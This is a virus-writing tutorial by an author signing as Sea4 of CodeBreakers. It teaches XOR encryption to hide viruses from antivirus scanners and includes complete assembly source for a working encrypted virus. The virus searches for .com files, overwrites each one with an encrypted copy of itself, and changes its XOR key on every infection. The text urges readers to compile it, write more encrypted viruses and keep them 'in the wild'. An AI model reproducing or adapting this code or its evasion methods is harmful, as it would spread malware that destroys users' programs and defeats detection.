-- An effort to help the naked virus. Part 1
-- By: Sea4

     Its pretty simple really... You have a naked virus, and the AV scanners
will see everything it has at first glance. The payload, the search routines,
the write to file requests, and possibly your name are all exposed to the
prying eyes of F-Prot and the like. So, what are you to do? Once all your
virus code is commented and researched they'll have a scanstring for it in
no time, and ways of cleaning it. But that is not what we want, we want to
make it difficult for them. We have to make them earn their paychecks. We
want to extend the life of your virus in the wild.

Enter: Encryption Techniques

     Hopefully, with your basic knowledge of ASM you realize your computer
reads the bytes of every file you run. Every few bytes are a command to the
CPU. So certain bytes like CDh 21h are commands, this is the INT 21h command.
When an AV scanner searches files, it looks for byte combinations that look
similar to those found in virii. If it finds some, your virus it screwed. To
prevent this catastrophe, we must alter the very bytes of your virus to make
them appear as anything, but what they really are. You may notice that if
you leaf through an assembly language tutorial or book, there alot of
commands that directly manipulate bits. Since each byte consists of 8 bits,
changing those bits totally changes the function of the bytes, making them
appear unlike virus code to any curious AV product.

     Before I start explaining stuff though, let me give you a quick list of
memory sizes, and their number of bits.

     Bytes          Bits      Name           Compiler Name
     -----          ----      ----           -------------
     1/8            1         Bit
     1/2            4         Nybble 
     1              8         Byte           BYTE
     2              16        Word           WORD
     4              32        Double Word    DWORD
     8              64        Quad Word      QWORD
     10             80        Ten Byte       TBYTE  
     16             128       Paragraph      PARA    
     256            2048      Page           PAGE
     65535          524280    Segment        SEGMENT

     Use that as a reference when I refer to memory sizes and such. Some
are not even referred to much even amongst ASM masters. The real important
ones are the first 5, and Segment.

     Now, I propose to show you the various bit altering ASM commands, and
how to use them to hide. Lets start out with the most popular way to hide
behind encryption. The famous XOR command! You have probably used it so far
to make a byte = 0. Fortunetly for us, it has far more capabilities. What it
does exactly is take the two operands and keep only different bits, placing
them in the destination operand. For example:

xor  al,bl     ; XORs AL and BL, placing the result in AL.

Lets assume AL = 3h ( which is 3d also )
and BL = 12h ( which is 18d )

Now for the binary values:
     00000011b = AL = 03h     ; First operand, and destination operand
XOR                           ; XOR instruction
     00010010b = BL = 12h     ; 2nd operand, sometimes reffered to as
     --------                 ; a bit mask. ( Because it holds the bits )
     00010001b = AL = 11h     ; Resulting number, placed in AL 

Notice that only the bits different in each of the two bytes are kept. This
makes it possible to get the original number, by doing a second XOR. Watch:

     00010001b = AL = 11h     ; Result from first XOR
XOR                           ; The second XOR instruction     
     00010010b = BL = 12h     ; The bit mask we used the first time.
     --------
     00000011b = AL = 03h     ; Yay! Because we use the same bit mask twice
                              ; we are able to retrieve the original number.

     Now, your brain might be turning, and getting ahead of me. You might
be saying to yourself "I think I know were he is goin' with this." If you
don't I'll explain. Say you have your naked virus... and you take every byte
in it, then you XOR them all against a bit mask like C4h :). It would change
every single byte to something totally different. Then when you want to run
the virus, you just XOR them all again to get back the original bytes that
contain the virus code.
     If that sounds confusing I'll put it in real simple terms. The first XOR
above can be considered your Encryption, because it makes the bytes different
than what you want to use. The second XOR would therefore be considered the
Decryption, because it puts the bytes back into a useable format.

     To better illustrate what I mean, I'll XOR CDh 21h ( INT 21h ) against
a bit mask to hide it. Watch this:

mov  AX,0CD21h      ; Puts the INT 21 command into AX
mov  BX,0CBA2h      ; Our bit mask ( I just pulled it from thin air )
xor  AX,BX          ; Encrypts AX

AX = 11001101-00100001b  ; Binary representation of AX
     ^--AH--^ ^--AL--^   ; AH = CDh: AL = 21h

BX = 11001011-10100010b  ; Binary representation of BX
     ^--BH--^ ^--BL--^   ; BH = CBh: BL = A2h

     11001101-00100001b  ; AX, also our destination operand
XOR                      ; XOR instruction, encrypting this time
     11001011-10100010b  ; BX, our bit mask
     -------- --------   
     00000110-10000011b  ; Resulting value place in AX as 0683h
     ^--AH--^ ^--AL--^   ; AH = 06h: AL = 83h

     Hehe, now the CD21h has been turned into a 0683h. Before an AV scanner
would recognize the INT 21h command. Now it only can only see the 0683h,
which is totally different than INT 21h to a scanner. 06h = Push ES, and 83
isn't even a whole command by itself. So if we did that to all bytes in our
virus, we could make the virus appear as something it is not. Before running
the virus code of course you must get back the original bytes, and I'll show
that with the 0683h value and the bit mask.

     00000110-10000011b  ; The encrypted value of AX
XOR                      ; XOR instruction, decrypting this time
     11001011-10100010b  ; BX, our bit mask
     -------- --------   
     11001101-00100001b  ; AX, where the result will be placed
     ^--AH--^ ^--AL--^   ; AH = CDh: AL = 21h

     There it is. XOR encryption, at its very essence. Now you may be asking
"That is all well, and good, but how the hell do I tell my virus to Encrypt/
Decrypt itself?" Well, that is a little more difficult to do, but pretty
easy to understand. So here is an example of a virus using encryption, it can
be compiled using A86.com:

Start:
; Before the virus runs we must decrypt it.
; This is a simple call to Decrypt a virus, before running it.
; NOTE: It does NOT decrypt first generation to prevent crashing.

SkipDec:
jmp  Ende                ; This deserves a little explaining. We have to
                         ; skip the decryption on first run, because nothing
                         ; is encrypted. At location 'Ende' are instructions
                         ; to overwrite this JMP. If we don't skip the jmp
                         ; on first run all the bytes will be sent to the
                         ; CPU as encrypted bytes and may crash it.

; mov  cx,Crypto-Hidden  ; Gets the number of bytes from Hidden to the
                         ; Start of the encryption routine.
                         ; In subsequent generations of the virus, this will
                         ; be in the place of JMP.

lea  si,Hidden           ; We load SI, and DI with the encrypted area
mov  di,si               ; Because it is the Source (SI) and Destination (DI)
                         ; of the XORed bytes.
Call Crypto              ; Calls the decrypt routine

Hidden:                  ; Start of hidden area. It ends right before the
                         ; encryption routine.

mov  ah,4Eh              ; Function 4Eh: Find First 
FindNext:                
xor  cx,cx               ; No attributes
lea  dx,FileMask         ; *.com files
int  21h                 ; Finds a com file to kill

jnc  Open                ; Found one, lets infect it
jmp  Close               ; None left, lets exit

Open:                    ; Opens the file
mov  ax,3D02h            ; Function 3Dh: Open File
                         ; 02 = read/write access to file
lea  dx,9Eh              ; ASCIZ filename that was found
int  21h                 ; open it

xchg bx,ax               ; Put file handle in BX

; Now we must write the three main components of the virus
; to the victim file

; 1) Decrypt Call ( UnEncrypted )
; 2) Find/Infect Routines ( Encrypted )
; 3) Decrypt/encrypt routine ( UnEncrypted )

; First we must write the decrypt call to the victim
; seperatly so that we may encrypt the 'Hidden' area
mov  ah,40h              ; Function 40h: Write to file
lea  dx,start            ; Start of virus
mov  cx,hidden-start     ; Length of area to write
int  21h                 ; Write the first section
; Here we increase the XORvalue by 1. Every time a file is infected the XOR
; mask will change. This makes it possible for 255 differently encrypted
; virii to be formed. Pretty cool eh?

inc  byte ptr[XorValue]       ; Increments the XOR value by 1
jnz  NotZero                  ; The value resulted in 0
                              ; which doesn't hide anything, so we must try
                              ; again
inc  byte ptr[XorValue]       ; Makes it = 1

NotZero:
; Now the Find/Infect routines must be encrypted
lea  di,buffer      ; Buffer is where the encrypted bytes will be
                    ; stored before writing to file.
lea  si,hidden      ; Start of area from which we get the bytes to encrypt
mov  cx,Crypto-Hidden    ; Length of second area
push cx                  ; Saves the value on the stack
call Crypto              ; Moves the bytes ( through crypto ) to the buffer

mov  ah,40h         ; Function 40h: Write to file
lea  dx,buffer      ; Where the encrypted Find/Infect routines are stored
pop  cx             ; Gets the saved value of CX ( Size of Second area )
int  21h            ; Writes the second part of the virus

; Now for the 3rd and final section of the virus.
mov  ah,40h         ; Function 40h: write to file
lea  dx,Crypto      ; Decrypt/Encrypt loop
mov  cx,Ende-Crypto ; Length to write
int  21h            ; Write that sucka'

mov  ah,3Eh         ; Function 3Eh: Close file
int  21h
mov  ax,4F00h         ; Function 4Fh: Find Next file
jmp  FindNext

Close:
int  20h                 ; Shut down the virus

; Here is a good place to put text strings, etc. because it is hidden by
; the encryption, and is not executed by the program.

FileMask  db   '*.com',0      ; File mask for *.com files                            
VirusName db   '[Crypto]',0        ; Name of the virus
Author    db   'Sea4, CodeBreakers',0   ; Author and group
Message   db   'An effort to help the naked virus.',0  ; Something extra

Crypto:        ; The good thing about this type of encryption loop is
               ; that it can also function as a decrypt loop.

mov  dl,[Xorvalue]       ; Puts the XORvalue from memory into
                         ; DL, because DL is our bit mask
EncLoop:      ; Encryption Loop
lodsb                    ; Puts byte at [SI] into AL, then increments SI
                         ; Since Hidden is where we are starting to decrypt
                         ; This takes the byte at [SI] and puts it into AL
xor  al,dl               ; We now XOR the byte to Decrypt/Encrypt it
stosb                    ; Instead of putting a value in AL it copies
                         ; AL into the address [DI] (Destination Index)
                         ; then increments DI.
loop EncLoop             ; Does one loop for every byte specified by CX
ret                      ; Now we just return to who called this routine

XorValue  db   00h       ; This is where the bitmask is saved between runs

Buffer:        ; Start of the buffer or 'heap' as it is sometimes called.
               ; An area not saved with the virus, but is used for holding
               ; values and other temporary stuff.

Ende:          ; This is also not saved but we need it for the first gen.
; Here is where we overwrite SkipDec: so the virus will run the decryption
; routine after the first generation.
lea  di,SkipDec          ; Destination is the 'jmp ende' instruction which
                         ; is not needed in future generations.
lea  si,NewBytes         ; What we replace 'jmp ende' with... it loads the
                         ; length of the area to decrypt.
mov  cx,3                ; Length of 'jmp ende'
rep  movsb               ; Does the replacement
jmp  Hidden              ; Goes to the start of the virus code.

NewBytes:
mov  cx,Crypto-Hidden    ; Will overwrite the 'jmp ende' at the start of
                         ; the virus

EndOfVirus:

     I wrote that just for you. Don't you feel special?
     Anyway... let me explain it as an outline.

I. Call Decrypt
     - Calls the decrypt routine at Part III
       except on the first run

II. Find Infect
     A. Find *.com files
          - Jump to G if none left
     B. Open them up
     C. Write Part I to the victim file
     D. Encrypt Part II into the Buffer
     E. Write Part III to victim file
     F. Close Victim and jump to section A.
     G. Close virus with INT 20h

III. Decrypt/Encrypt
     A. Get XORvalue
     B. Get Byte at SI, and increment SI
     C. XOR that byte with XORvalue
     D. Put the Byte to DI and increment
     E. Loop to B until all specified bytes
        have been encrypted
     F. Return to caller

     If you use the outline, the virus should be a thousand times easier
to understand. To sum it up even more. The virus reads each byte of its code,
encrypts them individually, then puts them in the buffer where they are
then written to a victim.

     Wow! I thought this would be a short text file. Oh well, I had to make
it all real simple so everyone would understand. All I basically taught was
how to understand XOR, and how to make a virus ready for encryption. The
main aspect is to make sure it works. Encryption adds a whole lot of ways to
screw your virus up royally, and will probably give you the biggest headache
ever. But if you get it done right, its certainly worth it. 

     Since I am not really finished with everything I know about encryption,
I will be writing a second part. Until then I think it would be helpful if
you write several virii using encryption. At first, I reccommend you read
over the virus I included, a few times. As well as the outline. You can paste it
into a file of its own, then compile it to see how it works. After you get
a feel for what is going on, try to write your own one without cut & paste.
For a real challenge to the beginners. Try and add encryption to your first
appending virus. By the time you get used to XOR, and basic encryption loops
the second part of this tutorial should be finished. Here are a few ideas
I have been kicking around:

1) Using the other bit manipulators. ( NOT, NEG, ROR, ROL and such ) 
2) Double encryption ( Twice the headache of normal encryption ) :-)
3) XCHG encryption ( Neato )
4) How to call the De/Encrypt loops ( Trust me, its important when using
     the other bit manipulators )
5) Encrypting your virus after it has been run. ( Not hard really )
6) Writing dual function De/Encrypt loops
7) Writing seperate loops for Decrypting and Encrypting
8) A quick example of how to add encryption to an appeding virus.
     Its not really hard, its just where you put the call.

     Well, I figure thats enough for now. Keep those virii encrypted because,
a naked virus is a dead virus.
               - Sea4@ThePentagon.com